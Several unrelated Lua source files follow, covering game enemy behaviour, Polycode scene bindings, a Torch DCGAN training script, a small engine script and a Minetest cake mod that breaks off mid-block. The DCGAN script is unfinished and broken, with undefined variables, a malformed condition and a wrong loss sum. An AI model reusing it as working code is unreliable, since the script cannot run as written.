enemy, color = green[0]} enemy:speed_boost(3) end end end if self.exploder then if self.silenced or self.barbarian_stunned then return end mine1:play{pitch = random:float(0.95, 1.05), volume = 0.5} trigger:after(0.01, function() ExploderMine{group = main.current.main, x = self.x, y = self.y, color = blue[0], parent = self} end) end if self.spawner then if self.silenced or self.barbarian_stunned then return end critter1:play{pitch = random:float(0.95, 1.05), volume = 0.35} trigger:after(0.01, function() for i = 1, random:int(5, 8) do EnemyCritter{group = main.current.main, x = self.x, y = self.y, color = purple[0], r = random:float(0, 2*math.pi), v = 10 + 0.1*self.level, dmg = 2*self.dmg, projectile = projectile} end end) end if pyrod then trigger:after(0.01, function() Area{group = main.current.main, x = self.x, y = self.y, color = red[0], w = 32*pyrod.parent.area_size_m, r = random:float(0, 2*math.pi), dmg = pyrod.parent.area_dmg_m*pyrod.dmg, character = pyrod.character, level = pyrod.level, parent = pyrod.parent} end) end if projectile and projectile.spawn_critters_on_kill then trigger:after(0.01, function() critter1:play{pitch = random:float(0.95, 1.05), volume = 0.5} for i = 1, projectile.spawn_critters_on_kill do Critter{group = main.current.main, x = self.x, y = self.y, color = orange[0], r = random:float(0, 2*math.pi), v = 5, dmg = projectile.parent.dmg, parent = projectile.parent} end end) end if self.infested then critter1:play{pitch = random:float(0.95, 1.05), volume = 0.5} trigger:after(0.01, function() if type(self.infested) == 'number' then for i = 1, self.infested do Critter{group = main.current.main, x = self.x, y = self.y, color = orange[0], r = random:float(0, 2*math.pi), v = 10, dmg = self.infested_dmg, parent = self.infested_ref} end end end) end if self.jester_cursed then trigger:after(0.01, function() if tostring(self.x) == tostring(0/0) or tostring(self.y) == tostring(0/0) then return end _G[random:table{'scout1', 'scout2'}]:play{pitch = random:float(0.95, 1.05), volume = 0.35} HitCircle{group = main.current.effects, x = self.x, y = self.y, rs = 6} local r = random:float(0, 2*math.pi) for i = 1, 4 do local t = {group = main.current.main, x = self.x + 8*math.cos(r), y = self.y + 8*math.sin(r), v = 250, r = r, color = red[0], dmg = self.jester_ref.dmg, pierce = self.jester_lvl3 and 2 or 0, homing = self.jester_lvl3, character = self.jester_ref.character, parent = self.jester_ref} Projectile(table.merge(t, mods or {})) r = r + math.pi/2 end end) end if self.bane_cursed then trigger:after(0.01, function() DotArea{group = main.current.effects, x = self.x, y = self.y, rs = (self.bane_ref.level == 3 and 2 or 1)*self.bane_ref.area_size_m*18, color = purple[0], dmg = self.bane_ref.area_dmg_m*self.bane_ref.dmg*(self.bane_ref.dot_dmg_m or 1), void_rift = true, duration = 1} end) end end end function Seeker:push(f, r, push_invulnerable) local n = 1 if self.tank then n = 0.7 end if self.boss then n = 0.2 end if self.level == 25 and self.boss then n = 0.7 end self.push_invulnerable = push_invulnerable self.push_force = n*f self.being_pushed = true self.steering_enabled = false self:apply_impulse(n*f*math.cos(r), n*f*math.sin(r)) self:apply_angular_impulse(random:table{random:float(-12*math.pi, -4*math.pi), random:float(4*math.pi, 12*math.pi)}) self:set_damping(1.5*(1/n)) self:set_angular_damping(1.5*(1/n)) end function Seeker:speed_boost(duration) self.speed_boosting = love.timer.getTime() self.t:after(duration, function() self.speed_boosting = false end, 'speed_boost') end function Seeker:slow(amount, duration) self.slowed = amount self.t:after(duration, function() self.slowed = false end, 'slow') end function Seeker:curse(curse, duration, arg1, arg2, arg3) if main.current.player.whispers_of_doom then if not self.doom then self.doom = 0 end self.doom = self.doom + 1 if self.doom == ((main.current.player.whispers_of_doom == 1 and 4) or (main.current.player.whispers_of_doom == 2 and 3) or (main.current.player.whispers_of_doom == 3 and 2)) then self.doom = 0 self:hit((main.current.player.whispers_of_doom == 1 and 100) or (main.current.player.whispers_of_doom == 2 and 150) or (main.current.player.whispers_of_doom == 3 and 200)) buff1:play{pitch = random:float(0.95, 1.05), volume = 0.5} ui_switch1:play{pitch = random:float(0.95, 1.05), volume = 0.5} end end if main.current.player.hextouch then local p = main.current.player local dmg = (p.hextouch == 1 and 10) or (p.hextouch == 2 and 15) or (p.hextouch == 3 and 20) self:apply_dot(dmg*(p.dot_dmg_m or 1)*(main.current.chronomancer_dot or 1), 3) end buff1:play{pitch = random:float(0.65, 0.75), volume = 0.25} if curse == 'launcher' then self.t:after(duration, function() self.launcher_push = arg1 self.launcher = arg2 self:push(random:float(50, 75)*self.launcher.knockback_m, random:table{0, math.pi, math.pi/2, -math.pi/2}) end, 'launcher_curse') elseif curse == 'jester' then self.jester_cursed = true self.jester_lvl3 = arg1 self.jester_ref = arg2 self.t:after(duration, function() self.jester_cursed = false end, 'jester_curse') elseif curse == 'bane' then self.bane_cursed = true self.bane_lvl3 = arg1 self.bane_ref = arg2 self.t:after(duration, function() self.bane_cursed = false end, 'bane_curse') elseif curse == 'infestor' then self.infested = arg1 self.infested_dmg = arg2 self.infested_ref = arg3 self.t:after(duration, function() self.infested = false end, 'infestor_curse') elseif curse == 'silencer' then self.silenced = true self.t:after(duration, function() self.silenced = false end, 'silencer_curse') elseif curse == 'usurer' then if arg1 then self.usurer_count = self.usurer_count + 1 if self.usurer_count == 3 then usurer1:play{pitch = random:float(0.95, 1.05), volume = 1} rogue_crit1:play{pitch = random:float(0.95, 1.05), volume = 1} camera:shake(4, 0.4) self.usurer_count = 0 self:hit(50*arg2.dmg) end end end end function Seeker:apply_dot(dmg, duration) self.t:every(0.25, function() hit2:play{pitch = random:float(0.8, 1.2), volume = 0.2} self:hit(dmg/4, nil, true) HitCircle{group = main.current.effects, x = self.x, y = self.y, rs = 6, color = fg[0], duration = 0.1} for i = 1, 1 do HitParticle{group = main.current.effects, x = self.x, y = self.y, color = self.color} end for i = 1, 1 do HitParticle{group = main.current.effects, x = self.x, y = self.y, color = purple[0]} end end, math.floor(duration/0.2)) end ExploderMine = Object:extend() ExploderMine:implement(GameObject) function ExploderMine:init(args) self:init_game_object(args) self.hfx:add('hit', 1) self.vr = 0 self.dvr = random:float(-math.pi/4, math.pi/4) self.rs = 0 self.t:tween(0.05, self, {rs = args.rs}, math.cubic_in_out, function() self.spring:pull(0.15) self.t:every(0.8 - current_new_game_plus*0.1, function() mine1:play{pitch = 1 + self.t:get_every_iteration'mine_count'*0.1, volume = 0.5} self.spring:pull(0.5, 200, 10) self.hfx:use('hit', 0.5, 200, 10, 0.2) end, 3, function() shoot1:play{pitch = random:float(0.95, 1.05), volume = 0.4} cannoneer1:play{pitch = random:float(0.95, 1.05), volume = 0.4} for i = 1, 4 do HitParticle{group = main.current.effects, x = self.x, y = self.y, r = random:float(0, 2*math.pi), color = self.color} end HitCircle{group = main.current.effects, x = self.x, y = self.y} local n = math.floor(8 + current_new_game_plus*1.5) for i = 1, n do EnemyProjectile{group = main.current.main, x = self.x, y = self.y, color = blue[0], r = (i-1)*math.pi/(n/2), v = 120 + 5*self.parent.level, dmg = 1.3*self.parent.dmg} end self.dead = true end, 'mine_count') end) end function ExploderMine:update(dt) self:update_game_object(dt) self.vr = self.vr + self.dvr*dt end function ExploderMine:draw() graphics.push(self.x, self.y, 0, self.spring.x, self.spring.x) graphics.circle(self.x, self.y, 2.5, self.hfx.hit.f and fg[0] or self.color) graphics.pop() end EnemyCritter = Object:extend() EnemyCritter:implement(GameObject) EnemyCritter:implement(Physics) EnemyCritter:implement(Unit) function EnemyCritter:init(args) self:init_game_object(args) if tostring(self.x) == tostring(0/0) or tostring(self.y) == tostring(0/0) then self.dead = true; return end self:init_unit() self:set_as_rectangle(7, 4, 'dynamic', 'enemy_projectile') self:set_restitution(0.5) self.classes = {'enemy_critter'} self:calculate_stats(true) self:set_as_steerable(self.v, 400, math.pi, 1) self:push(args.v, args.r) self.invulnerable_to = args.projectile self.t:after(0.5, function() self.invulnerable_to = false end) self.usurer_count = 0 end function EnemyCritter:update(dt) self:update_game_object(dt) if self.slowed then self.slow_mvspd_m = self.slowed else self.slow_mvspd_m = 1 end self.buff_mvspd_m = (self.speed_boosting_mvspd_m or 1)*(self.slow_mvspd_m or 1)*(self.temporal_chains_mvspd_m or 1) if not self.classes then return end self:calculate_stats() if self.being_pushed then local v = math.length(self:get_velocity()) if v < 50 then self.being_pushed = false self.steering_enabled = true self:set_damping(0) self:set_angular_damping(0) end else local player = main.current.player self:seek_point(player.x, player.y) self:wander(50, 200, 50) self:steering_separate(8, main.current.enemies) self:rotate_towards_velocity(1) end self.r = self:get_angle() end function EnemyCritter:draw() graphics.push(self.x, self.y, self.r, self.hfx.hit.x, self.hfx.hit.x) graphics.rectangle(self.x, self.y, self.shape.w, self.shape.h, 2, 2, self.hfx.hit.f and fg[0] or self.color) graphics.pop() end function EnemyCritter:hit(damage, projectile) if self.dead then return end -- print(projectile == self.invulnerable_to) if projectile == self.invulnerable_to then return end self.hfx:use('hit', 0.25, 200, 10) self.hp = self.hp - math.max(damage, 0) self:show_hp() if self.hp <= 0 then self:die() end end function EnemyCritter:push(f, r) self.push_force = f self.being_pushed = true self.steering_enabled = false self:apply_impulse(f*math.cos(r), f*math.sin(r)) self:apply_angular_impulse(random:table{random:float(-12*math.pi, -4*math.pi), random:float(4*math.pi, 12*math.pi)}) self:set_damping(1.5) self:set_angular_damping(1.5) end function EnemyCritter:die(x, y, r, n) if self.dead then return end x = x or self.x y = y or self.y n = n or random:int(2, 3) for i = 1, n do HitParticle{group = main.current.effects, x = x, y = y, r = random:float(0, 2*math.pi), color = self.color} end HitCircle{group = main.current.effects, x = x, y = y}:scale_down() self.dead = true _G[random:table{'enemy_die1', 'enemy_die2'}]:play{pitch = random:float(0.9, 1.1), volume = 0.5} critter2:play{pitch = random:float(0.95, 1.05), volume = 0.2} end function EnemyCritter:on_collision_enter(other, contact) local x, y = contact:getPositions() local nx, ny = contact:getNormal() local r = 0 if nx == 0 and ny == -1 then r = -math.pi/2 elseif nx == 0 and ny == 1 then r = math.pi/2 elseif nx == -1 and ny == 0 then r = math.pi else r = 0 end if other:is(Wall) then self.hfx:use('hit', 0.15, 200, 10, 0.1) self:bounce(contact:getNormal()) end end function EnemyCritter:on_trigger_enter(other, contact) if other:is(Player) then self:die(self.x, self.y, nil, random:int(2, 3)) other:hit(self.dmg) end end function EnemyCritter:speed_boost(duration) self.speed_boosting = love.timer.getTime() self.t:after(duration, function() self.speed_boosting = false end, 'speed_boost') end function EnemyCritter:slow(amount, duration) self.slowed = amount self.t:after(duration, function() self.slowed = false end, 'slow') end function EnemyCritter:curse(curse, duration, arg1, arg2, arg3) if main.current.player.whispers_of_doom then if not self.doom then self.doom = 0 end self.doom = self.doom + 1 if self.doom == 4 then self.doom = 0 self:hit(200) buff1:play{pitch = random:float(0.95, 1.05), volume = 0.5} ui_switch1:play{pitch = random:float(0.95, 1.05), volume = 0.5} end end if curse == 'launcher' then self.t:after(duration, function() self.launcher_push = arg1 self.launcher = arg2 self:push(random:float(50, 75)*self.launcher.knockback_m, random:table{0, math.pi, math.pi/2, -math.pi/2}) end, 'launcher_curse') elseif curse == 'jester' then self.jester_cursed = true self.jester_lvl3 = arg1 self.jester_ref = arg2 self.t:after(duration, function() self.jester_cursed = false end, 'jester_curse') elseif curse == 'bane' then self.bane_cursed = true self.bane_lvl3 = arg1 self.bane_ref = arg2 self.t:after(duration, function() self.bane_cursed = false end, 'bane_curse') elseif curse == 'infestor' then self.infested = arg1 self.infested_dmg = arg2 self.infested_ref = arg3 self.t:after(duration, function() self.infested = false end, 'infestor_curse') elseif curse == 'silencer' then self.silenced = true self.t:after(duration, function() self.silenced = false end, 'silencer_curse') elseif curse == 'usurer' then if arg1 then self.usurer_count = self.usurer_count + 1 if self.usurer_count == 3 then self.usurer_count = 0 self:hit(10*arg2.dmg) end end end end function EnemyCritter:apply_dot(dmg, duration) self.t:every(0.25, function() hit2:play{pitch = random:float(0.8, 1.2), volume = 0.2} self:hit(dmg/4) HitCircle{group = main.current.effects, x = self.x, y = self.y, rs = 6, color = fg[0], duration = 0.1} for i = 1, 1 do HitParticle{group = main.current.effects, x = self.x, y = self.y, color = self.color} end for i = 1, 1 do HitParticle{group = main.current.effects, x = self.x, y = self.y, color = purple[0]} end end, math.floor(duration/0.2)) end EnemyProjectile = Object:extend() EnemyProjectile:implement(GameObject) EnemyProjectile:implement(Physics) function EnemyProjectile:init(args) self:init_game_object(args) if tostring(self.x) == tostring(0/0) or tostring(self.y) == tostring(0/0) then self.dead = true; return end self:set_as_rectangle(10, 4, 'dynamic', 'enemy_projectile') end function EnemyProjectile:update(dt) self:update_game_object(dt) self:set_angle(self.r) self:move_along_angle(self.v, self.r) end function EnemyProjectile:draw() graphics.push(self.x, self.y, self.r) graphics.rectangle(self.x, self.y, self.shape.w, self.shape.h, 2, 2, self.color) graphics.pop() end function EnemyProjectile:die(x, y, r, n) if self.dead then return end x = x or self.x y = y or self.y n = n or random:int(3, 4) for i = 1, n do HitParticle{group = main.current.effects, x = x, y = y, r = random:float(0, 2*math.pi), color = self.color} end HitCircle{group = main.current.effects, x = x, y = y}:scale_down() self.dead = true proj_hit_wall1:play{pitch = random:float(0.9, 1.1), volume = 0.05} end function EnemyProjectile:on_collision_enter(other, contact) local x, y = contact:getPositions() local nx, ny = contact:getNormal() local r = 0 if nx == 0 and ny == -1 then r = -math.pi/2 elseif nx == 0 and ny == 1 then r = math.pi/2 elseif nx == -1 and ny == 0 then r = math.pi else r = 0 end if other:is(Wall) then self:die(x, y, r, random:int(2, 3)) end end function EnemyProjectile:on_trigger_enter(other, contact) if other:is(Player) then self:die(self.x, self.y, nil, random:int(2, 3)) other:hit(self.dmg) elseif other:is(Critter) then if main.current.player.meat_shield then self:die(self.x, self.y, nil, random:int(2, 3)) other:hit(1000) end elseif other:is(Seeker) or other:is(EnemyCritter) then if self.source == 'shooter' then self:die(self.x, self.y, nil, random:int(2, 3)) other:hit(0.5*self.dmg) end end end
require "Polycode/EventDispatcher" class "Scene" (EventDispatcher) ENTITY_MESH = 0 ENTITY_LIGHT = 1 ENTITY_CAMERA = 2 ENTITY_ENTITY = 3 ENTITY_COLLMESH = 4 function Scene:__index__(name) if name == "clearColor" then retVal = Polycore.Scene_get_clearColor(self.__ptr) if Polycore.__ptr_lookup[retVal] ~= nil then return Polycore.__ptr_lookup[retVal] else Polycore.__ptr_lookup[retVal] = Color("__skip_ptr__") Polycore.__ptr_lookup[retVal].__ptr = retVal return Polycore.__ptr_lookup[retVal] end elseif name == "useClearColor" then return Polycore.Scene_get_useClearColor(self.__ptr) elseif name == "ambientColor" then retVal = Polycore.Scene_get_ambientColor(self.__ptr) if Polycore.__ptr_lookup[retVal] ~= nil then return Polycore.__ptr_lookup[retVal] else Polycore.__ptr_lookup[retVal] = Color("__skip_ptr__") Polycore.__ptr_lookup[retVal].__ptr = retVal return Polycore.__ptr_lookup[retVal] end elseif name == "fogColor" then retVal = Polycore.Scene_get_fogColor(self.__ptr) if Polycore.__ptr_lookup[retVal] ~= nil then return Polycore.__ptr_lookup[retVal] else Polycore.__ptr_lookup[retVal] = Color("__skip_ptr__") Polycore.__ptr_lookup[retVal].__ptr = retVal return Polycore.__ptr_lookup[retVal] end elseif name == "enabled" then return Polycore.Scene_get_enabled(self.__ptr) end end function Scene:__set_callback(name,value) if name == "useClearColor" then Polycore.Scene_set_useClearColor(self.__ptr, value) return true elseif name == "enabled" then Polycore.Scene_set_enabled(self.__ptr, value) return true end return false end function Scene:Scene(...) if type(arg[1]) == "table" and count(arg) == 1 then if ""..arg[1]:class() == "EventDispatcher" then self.__ptr = arg[1].__ptr return end end for k,v in pairs(arg) do if type(v) == "table" then if v.__ptr ~= nil then arg[k] = v.__ptr end end end if self.__ptr == nil and arg[1] ~= "__skip_ptr__" then self.__ptr = Polycore.Scene(unpack(arg)) Polycore.__ptr_lookup[self.__ptr] = self end end function Scene:addEntity(entity) local retVal = Polycore.Scene_addEntity(self.__ptr, entity.__ptr) end function Scene:removeEntity(entity) local retVal = Polycore.Scene_removeEntity(self.__ptr, entity.__ptr) end function Scene:getDefaultCamera() local retVal = Polycore.Scene_getDefaultCamera(self.__ptr) if retVal == nil then return nil end if Polycore.__ptr_lookup[retVal] ~= nil then return Polycore.__ptr_lookup[retVal] else Polycore.__ptr_lookup[retVal] = Camera("__skip_ptr__") Polycore.__ptr_lookup[retVal].__ptr = retVal return Polycore.__ptr_lookup[retVal] end end function Scene:enableLighting(enable) local retVal = Polycore.Scene_enableLighting(self.__ptr, enable) end function Scene:enableFog(enable) local retVal = Polycore.Scene_enableFog(self.__ptr, enable) end function Scene:setFogProperties(fogMode, color, density, startDepth, _endDepth) local retVal = Polycore.Scene_setFogProperties(self.__ptr, fogMode, color.__ptr, density, startDepth, _endDepth) end function Scene:Update() local retVal = Polycore.Scene_Update(self.__ptr) end function Scene:setVirtual(val) local retVal = Polycore.Scene_setVirtual(self.__ptr, val) end function Scene:isVirtual() local retVal = Polycore.Scene_isVirtual(self.__ptr) return retVal end function Scene:isEnabled() local retVal = Polycore.Scene_isEnabled(self.__ptr) return retVal end function Scene:setEnabled(enabled) local retVal = Polycore.Scene_setEnabled(self.__ptr, enabled) end function Scene:getNumEntities() local retVal = Polycore.Scene_getNumEntities(self.__ptr) return retVal end function Scene:getEntity(index) local retVal = Polycore.Scene_getEntity(self.__ptr, index) if retVal == nil then return nil end if Polycore.__ptr_lookup[retVal] ~= nil then return Polycore.__ptr_lookup[retVal] else Polycore.__ptr_lookup[retVal] = SceneEntity("__skip_ptr__") Polycore.__ptr_lookup[retVal].__ptr = retVal return Polycore.__ptr_lookup[retVal] end end function Scene:getEntityAtScreenPosition(x, y) local retVal = Polycore.Scene_getEntityAtScreenPosition(self.__ptr, x, y) if retVal == nil then return nil end if Polycore.__ptr_lookup[retVal] ~= nil then return Polycore.__ptr_lookup[retVal] else Polycore.__ptr_lookup[retVal] = SceneEntity("__skip_ptr__") Polycore.__ptr_lookup[retVal].__ptr = retVal return Polycore.__ptr_lookup[retVal] end end function Scene:Render(targetCamera) local retVal = Polycore.Scene_Render(self.__ptr, targetCamera.__ptr) end function Scene:RenderDepthOnly(targetCamera) local retVal = Polycore.Scene_RenderDepthOnly(self.__ptr, targetCamera.__ptr) end function Scene:readString(inFile) local retVal = Polycore.Scene_readString(inFile.__ptr) return retVal end function Scene:loadScene(fileName) local retVal = Polycore.Scene_loadScene(self.__ptr, fileName) end function Scene:generateLightmaps(lightMapRes, lightMapQuality, numRadPasses) local retVal = Polycore.Scene_generateLightmaps(self.__ptr, lightMapRes, lightMapQuality, numRadPasses) end function Scene:addLight(light) local retVal = Polycore.Scene_addLight(self.__ptr, light.__ptr) end function Scene:getNearestLight(pos) local retVal = Polycore.Scene_getNearestLight(self.__ptr, pos.__ptr) if retVal == nil then return nil end if Polycore.__ptr_lookup[retVal] ~= nil then return Polycore.__ptr_lookup[retVal] else Polycore.__ptr_lookup[retVal] = SceneLight("__skip_ptr__") Polycore.__ptr_lookup[retVal].__ptr = retVal return Polycore.__ptr_lookup[retVal] end end function Scene:writeEntityMatrix(entity, outFile) local retVal = Polycore.Scene_writeEntityMatrix(self.__ptr, entity.__ptr, outFile.__ptr) end function Scene:writeString(str, outFile) local retVal = Polycore.Scene_writeString(self.__ptr, str, outFile.__ptr) end function Scene:saveScene(fileName) local retVal = Polycore.Scene_saveScene(self.__ptr, fileName) end function Scene:getNumStaticGeometry() local retVal = Polycore.Scene_getNumStaticGeometry(self.__ptr) return retVal end function Scene:getStaticGeometry(index) local retVal = Polycore.Scene_getStaticGeometry(self.__ptr, index) if retVal == nil then return nil end if Polycore.__ptr_lookup[retVal] ~= nil then return Polycore.__ptr_lookup[retVal] else Polycore.__ptr_lookup[retVal] = SceneMesh("__skip_ptr__") Polycore.__ptr_lookup[retVal].__ptr = retVal return Polycore.__ptr_lookup[retVal] end end function Scene:loadCollisionChild(entity, autoCollide, type) local retVal = Polycore.Scene_loadCollisionChild(self.__ptr, entity.__ptr, autoCollide, type) end function Scene:getNumLights() local retVal = Polycore.Scene_getNumLights(self.__ptr) return retVal end function Scene:getLight(index) local retVal = Polycore.Scene_getLight(self.__ptr, index) if retVal == nil then return nil end if Polycore.__ptr_lookup[retVal] ~= nil then return Polycore.__ptr_lookup[retVal] else Polycore.__ptr_lookup[retVal] = SceneLight("__skip_ptr__") Polycore.__ptr_lookup[retVal].__ptr = retVal return Polycore.__ptr_lookup[retVal] end end function Scene:getCustomEntityByType(type) local retVal = Polycore.Scene_getCustomEntityByType(self.__ptr, type) if retVal == nil then return nil end if Polycore.__ptr_lookup[retVal] ~= nil then return Polycore.__ptr_lookup[retVal] else Polycore.__ptr_lookup[retVal] = SceneEntity("__skip_ptr__") Polycore.__ptr_lookup[retVal].__ptr = retVal return Polycore.__ptr_lookup[retVal] end end function Scene:__delete() Polycore.__ptr_lookup[self.__ptr] = nil Polycore.delete_Scene(self.__ptr) end
-- inspired from github.com/soumith/dcgan.torch require 'torch' require 'nn' require 'optim' -- various otions for training opt = { gpu = 1, -- by default uses it num_epoch = 1000, -- ?? batch_size = 1, -- ?? ntrain = 100, -- ?? display_id = 10, -- ?????? name = "Experiment", nThreads = 4, dataset = 'lsun', niter = 25, --- ??? momentum = .5, -- ???? lr = .0001, -- ??? noise = 'normal', fineSize = 64, batchSize = 1, nz = 100, -- ????? ngf = 64, -- ?? display = 1, ndf = 64, -- ??? } for field,value in ipairs(opt) do opt[field] = tonumber(os.getenv(k)) or os.getenv(k) or opt[k] end if opt.display == 0 then opt.display = false end if opt.display then disp = require 'display' end opt.manualSeed = torch.random(1, 10000) -- fix seed print("Random Seed: " .. opt.manualSeed) torch.manualSeed(opt.manualSeed) torch.setnumthreads(1) torch.setdefaulttensortype('torch.FloatTensor') -- create data loader local DataLoader = paths.dofile('data/data.lua') local data = DataLoader.new(opt.nThreads, opt.dataset, opt) print("Dataset: " .. opt.dataset, " Size: ", data:size()) -------------------------------------------------------------------------------------------------------- -------------------------------------------------------------------------------------------------------- -- Initializing weights for the network local function init_weights(model) local name_model = torch.type(model) if name:find('Convolution') then m.weight:normal() -- define them later m:noBias() -- try using biases later elseif name:find('BatchNormalization') then if m.weight then m.weight:normal() end -- define later if m.bias then m.bias:fill(0) end -- define later end end local real_label = 1 local fake_label = 0 local noise = torch.Tensor(opt.batchSize,nz,1,1) local input = torch.Tensor(opt.batchSize, 3, opt.fineSize, opt.fineSize) local errD, errG local nc = 3 local nz = opt.nz local ndf = opt.ndf local ngf = opt.ngf local epoch_tm = torch.Timer() local batch_tm = torch.Timer() local data_tm = torch.Timer() optimStateD = { learningRate = opt.lr, beta1 = opt.beta1, } optimStateG = { learningRate = opt.lr, beta1 = opt.beta1, } if opt.gpu > 0 then require 'cunn' cutorch.setDevice(opt.gpu) input = input:cuda(); noise = noise:cuda(); label = label:cuda() if pcall(require, 'cudnn') then require 'cudnn' cudnn.benchmark = true cudnn.convert(netG, cudnn) cudnn.convert(netD, cudnn) end netD:cuda(); netG:cuda(); criterion:cuda() end local parametersD,gradParametersD = netD:getParameters() local parametersG,gradParametersG = netG:getParameters() ----------------------------------------- -- Models ------------------------------- ----------------------------------------- local SpatialBatchNormalization = nn.SpatialBatchNormalization local SpatialConvolution = nn.SpatialConvolution local SpatialFullConvolution = nn.SpatialFullConvolution --Generator------------------------------ local netG = nn.Sequential() -- input is Z, going into a convolution netG:add(SpatialFullConvolution(nz, ngf * 8, 4, 4)) netG:add(SpatialBatchNormalization(ngf * 8)):add(nn.ReLU(true)) -- state size: (ngf*8) x 4 x 4 netG:add(SpatialFullConvolution(ngf * 8, ngf * 4, 4, 4, 2, 2, 1, 1)) netG:add(SpatialBatchNormalization(ngf * 4)):add(nn.ReLU(true)) -- state size: (ngf*4) x 8 x 8 netG:add(SpatialFullConvolution(ngf * 4, ngf * 2, 4, 4, 2, 2, 1, 1)) netG:add(SpatialBatchNormalization(ngf * 2)):add(nn.ReLU(true)) -- state size: (ngf*2) x 16 x 16 netG:add(SpatialFullConvolution(ngf * 2, ngf, 4, 4, 2, 2, 1, 1)) netG:add(SpatialBatchNormalization(ngf)):add(nn.ReLU(true)) -- state size: (ngf) x 32 x 32 netG:add(SpatialFullConvolution(ngf, nc, 4, 4, 2, 2, 1, 1)) netG:add(nn.Tanh()) -- state size: (nc) x 64 x 64 netG:apply(weights_init) --Discriminator---------------------------- local netD = nn.Sequential() -- ???????????????????? -- input is (nc) x 64 x 64 netD:add(SpatialConvolution(nc, ndf, 4, 4, 2, 2, 1, 1)) netD:add(nn.LeakyReLU(0.2, true)) -- state size: (ndf) x 32 x 32 netD:add(SpatialConvolution(ndf, ndf * 2, 4, 4, 2, 2, 1, 1)) netD:add(SpatialBatchNormalization(ndf * 2)):add(nn.LeakyReLU(0.2, true)) -- state size: (ndf*2) x 16 x 16 netD:add(SpatialConvolution(ndf * 2, ndf * 4, 4, 4, 2, 2, 1, 1)) netD:add(SpatialBatchNormalization(ndf * 4)):add(nn.LeakyReLU(0.2, true)) -- state size: (ndf*4) x 8 x 8 netD:add(SpatialConvolution(ndf * 4, ndf * 8, 4, 4, 2, 2, 1, 1)) netD:add(SpatialBatchNormalization(ndf * 8)):add(nn.LeakyReLU(0.2, true)) -- state size: (ndf*8) x 4 x 4 netD:add(SpatialConvolution(ndf * 8, 1, 4, 4)) netD:add(nn.Sigmoid()) -- state size: 1 x 1 x 1 netD:add(nn.View(1):setNumInputDims(3)) -- state size: 1 netD:apply(weights_init) ---Criterion----------------------------- local criterion = nn.BCECriterion() local criterion_absolute = nn.AbsCriterion() --- Gradient_Calculators----------------- local fDx = function(x) gradParametersD:zero() data_tm:reset() local real = data:getBatch() data_tm:stop() input:copy(real) label:fill(real_label) local output = netD:forward(input) local errD_real = criterion:forward(input,label) local df_by_do = criterion:backward(output,label) -- find the d(function)/d(output) netD:backward(input, df_by_do) -- do back propogation if opt.noise == 'uniform' then noise:uniform(-1,1) else if opt.noise == 'normal then' then noise:normal(0,1) end local fake = netG:forward(noise) input:copy(fake) label:fill(fake_label) local output = netD:forward(input) local errD_fake = criterion:forward(input,label) local df_by_do = criterion:backward( output, label) netD:backward(input,df_by_do) errD = errD_real + errD_real return err_D,gradParametersD end local fGx = function(x) gradParametersG:zero() label:fill(real_label) local output = netD.output errG = criterion:forward(output,real_label) local df_by_do = criterion:backward() local df_by_dg = netD:updateGradInput(input,df_by_do) netG:backward(noise,df_by_dg) return errG,gradParametersD end ---------------------------------- -- training ----------------------------------------- noise_vis = noise:clone() if opt.noise == 'uniform' then noise_vis:uniform(-1, 1) elseif opt.noise == 'normal' then noise_vis:normal(0, 1) end for epoch =1,opt.num_epoch do epoch_tm:reset() local count = 0 for i = 1,math.min(data:size(),opt.ntrain),opt.batch_size do batch_tm:reset() -- Update the Discriminator network and the Generator networks optim.adam(fDx, parametersD, optimStateD) optim.adam(fGx, parametersG, optimStateG) counter = counter + 1 if counter % 10 == 0 and opt.display_images == 1 then local fake = netG:forward(noise_input) local real = data:getBatch() disp.image(fake, {win=opt.display_id, title=opt.name}) disp.image(real, {win=opt.display_id * 3, title=opt.name}) disp.image(real, {win=opt.display_id * 3, title=opt.name}) end if ((i-1) / opt.batchSize) % 1 == 0 then print(('Epoch: [%d][%8d / %8d]\t Time: %.3f DataTime: %.3f ' .. ' Err_G: %.4f Err_D: %.4f'):format( epoch, ((i-1) / opt.batchSize), math.floor(math.min(data:size(), opt.ntrain) / opt.batchSize), tm:time().real, data_tm:time().real, errG and errG or -1, errD and errD or -1)) end end paths.mkdir('checkpoints') parametersD, gradParametersD = nil, nil -- nil them to avoid spiking memory parametersG, gradParametersG = nil, nil torch.save('checkpoints/' .. opt.name .. '_' .. epoch .. '_net_G.t7', netG:clearState()) torch.save('checkpoints/' .. opt.name .. '_' .. epoch .. '_net_D.t7', netD:clearState()) parametersD, gradParametersD = netD:getParameters() -- reflatten the params and get them parametersG, gradParametersG = netG:getParameters() print(('End of epoch %d / %d \t Time Taken: %.3f'):format( epoch, opt.niter, epoch_tm:time().real)) end end
function init() fontId = createFont("../modelfiles/JetBrainsMono-Regular.ttf", 24.0) end function update() if getKeyState("escape") == 0 then closeWindow() end if getKeyState("l") == 0 then destroyEntity() end if getMouseButtonState("left") == 0 then local cameraCount = getCameraCount() setMainCameraIndex((getMainCameraIndex() + 1) % cameraCount) end if getMouseButtonState("right") == 0 then print(showGraphicsMemoryChunks()) end local ft = getFrametime() drawText("Frametime: " .. string.format("%.3f", ft), fontId, 1.0, 0.0, 0.0, 30.0, 30.0) drawText("FPS: " .. string.format("%.3f", 1000.0 / ft), fontId, 0.0, 1.0, 0.0, 30.0, 50.0) end function destroy() print("Entity destroyed.") end
local throwable_cake = false -- CAKE -- local S if minetest.get_modpath("intllib") then S = intllib.Getter() else S = function(s) return s end end local sizes = {-0.4375, -0.3125, -0.1875, -0.0625, 0.0625, 0.1875, 0.3125} for i, size in ipairs(sizes) do local slice = i - 1 local name local description local drop local tiles if slice == 0 then name = "cake:cake" description = S("Cake") drop = nil tiles = {"cake_top.png", "cake_bottom.png", "cake_side.png"} else name = "cake:cake_"..slice drop = '' tiles = {"cake_top.png", "cake_bottom.png", "cake_side.png", "cake_inner.png", "cake_side.png", "cake_side.png"} end minetest.register_node(name, { description = description, drop = drop, drawtype = "nodebox", tiles = tiles, inventory_image = "cake.png", wield_image = "cake.png", paramtype = "light", is_ground_content = false, groups = {crumbly=3}, --sounds = sounds, node_box = { type = "fixed", fixed = { {size, -0.5, -0.4375, 0.4375, 0, 0.4375}, } }, on_rightclick = function(pos, node, clicker) clicker:set_hp(clicker:get_hp() + 1) if i < #sizes then minetest.swap_node(pos, {name="cake:cake_"..i}) else minetest.remove_node(pos) end end, }) end if not minetest.get_modpath("food") then minetest.register_craftitem("cake:sugar", { description = S("Sugar"), inventory_image = "cake_sugar.png", groups = {food_sugar=1} }) minetest.register_craft({ type = "shapeless", output = "cake:sugar", recipe = {"default:papyrus"} }) else 